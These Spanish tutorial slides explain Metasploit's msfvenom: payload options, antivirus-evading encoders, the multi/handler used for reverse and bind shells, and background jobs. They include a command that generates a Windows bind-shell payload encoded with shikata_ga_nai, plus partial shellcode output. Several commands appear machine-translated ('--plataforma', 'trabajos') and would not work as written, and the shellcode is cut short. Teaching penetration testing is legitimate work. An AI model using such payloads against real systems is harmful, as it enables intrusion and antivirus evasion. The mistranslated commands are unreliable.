



MSFVenom

¿Qué veremos?

- MSFvenom:
 - ¿Qué es?
 - Opciones
 - Exploit multi/handler:
 - ¿Qué es?
 - Configuración
 - Uso básico
- Ejemplos
- Jobs

MSFvenom

- **¿Qué es?**
- Es la combinación de generación y codificación de carga útil.
- Reemplazó a **msfpayload** y **msfencode** el 8 de junio de 2015.
- Como recordatorio decir que **msfpayload** se encarga de generar **payloads** para distintas plataformas, mientras que **msfencode** se encarga de codificar dichos **payloads** con el objetivo de evadir la detección mediante el uso de antivirus.
- Los beneficios se enumeran a continuación:
 - Se simplifica la generación de payloads y los intentos de codificación de éstos.
 - Se presenta como una herramienta estándar que ayuda a los auditores y a cualquier usuario su manejo.
 - Es realmente intuitiva y con fácil aprendizaje.
 - El rendimiento ha sido mejorado considerablemente.
 - La velocidad con la que trabaja es claramente más alta que el uso de msfpayload y msfencode por separado.
 - Esto es bastante lógico debido a que se evita el paso de información entre distintos procesos, y toda acción es realizada por el mismo proceso.
- **Opciones**
- Algunas de las opciones más útiles se enumeran a continuación:
 - **Payload.** Este parámetro especifica el **payload** que se utilizará.
 - **Encoder.** Este parámetro especifica el algoritmo que se utilizará para realizar la codificación.
 - **Format.** Especifica el formato, normalmente EXE.
 - **Bad-chars.** Este parámetro indica un listado de bytes que no se deben generar en el proceso de obtención del **payload**. Por ejemplo, si se quieren evitar los bytes nulos '\x00' se añaden en la lista de este parámetro.
 - **Iterations.** Indica el número de iteraciones que se ejecutará el algoritmo del **encoder**.
 - **Template.** Indica la plantilla de ejecutable que se utilizará.
 - **Keep.** Especifica que el **payload** se ejecutará en un **thread** y no en el **main** del ejecutable. Con esta opción se implementa la técnica de plantilla personalizada sigilosa.

MSFvenom

- **Exploit multi/handler**
 - **¿Qué es un handler?**
 - En Metasploit, un **handler** es lo que utilizamos para conectar con un ordenador víctima.
 - Dependiendo del **payload**, el **handler** quedará a la escucha esperando una conexión por parte del **payload** (**reverse payload**) o iniciará una conexión contra un host en un puerto especificado (caso de un **bind payload**).
 - **Configuración y uso básico de exploit/multi/handler.**
 - La configuración básica y más conocida, simplemente trata de elegir el **exploit** (**exploit/multi/handler**), elegir el **payload**, configurar las opciones del **payload**
 - lhost y lport para un reverse shell
 - Rhost y rport para un bind shell)
 - ejecutar el exploit.

MSFvenom

- **Ejemplos**

- El comando **msfvenom** y el shellcode resultante, generan un *shell* de vinculación de Windows con tres iteraciones del *codificador shikata_ga_nai* sin bytes nulos y en formato python.
 - `msfvenom -a x86 --plataforma Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f Python`

```
Encontrados 1 codificadores compatibles
Intentando codificar la carga útil con 3 iteraciones de x86/shikata_ga_nai
x86/shikata_ga_nai tuvo éxito con el tamaño 326 (iteración = 0)
x86/shikata_ga_nai tuvo éxito con el tamaño 353 (iteración = 1)
x86/shikata_ga_nai tuvo éxito con el tamaño 380 (iteración = 2)
x86/shikata_ga_nai elegido con tamaño final 380
Tamaño de la carga útil: 380 bytes
buf = ""
buf += "\xbb\x78\xd0\x11\xe9\xda\xdc\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x59\x31\x58\x13\x83\xc0\x04\x03\x58\x77\x32"
buf += "\xe4\x53\x15\x11\xea\xff\xc0\x91\x2c\x8b\xd6\xe9\x94"
buf += "\x47\xdf\xa3\x79\x2b\x1c\xc7\x4c\x78\xb2\xcb\xfd\x6e"
buf += "\xc2\x9d\x53\x59\xa6\x37\xc3\x57\x11\xc8\x77\x77\x9e"
buf += "\x6d\xfc\x58\xba\x82\xf9\xc0\x9a\x35\x72\x7d\x01\x9b"
```

- Creando diferentes tipos de payload.
 - <https://www.nosolohacking.info/msfvenom-creando-diferentes-tipos-de-payloads/>

Metasploit

- **Jobs**

- Módulo que se ejecutan en segundo plano.
- El comando Jobs brinda la capacidad de enumerar y terminar estos trabajos.

```
msf > trabajos -h
```

```
Uso: trabajos [opciones]
```

```
Manipulación e interacción laboral activa.
```

```
OPCIONES:
```

```
-K Finaliza todos los trabajos en ejecución.
```

```
-h Bandera de ayuda.
```

```
-i Muestra información detallada sobre un trabajo en ejecución.
```

```
-k Finaliza el nombre de trabajo especificado.
```

```
-l Lista todos los trabajos en ejecución.
```

```
-v Imprime información más detallada. Usar con -i y -l
```

```
msf >
```

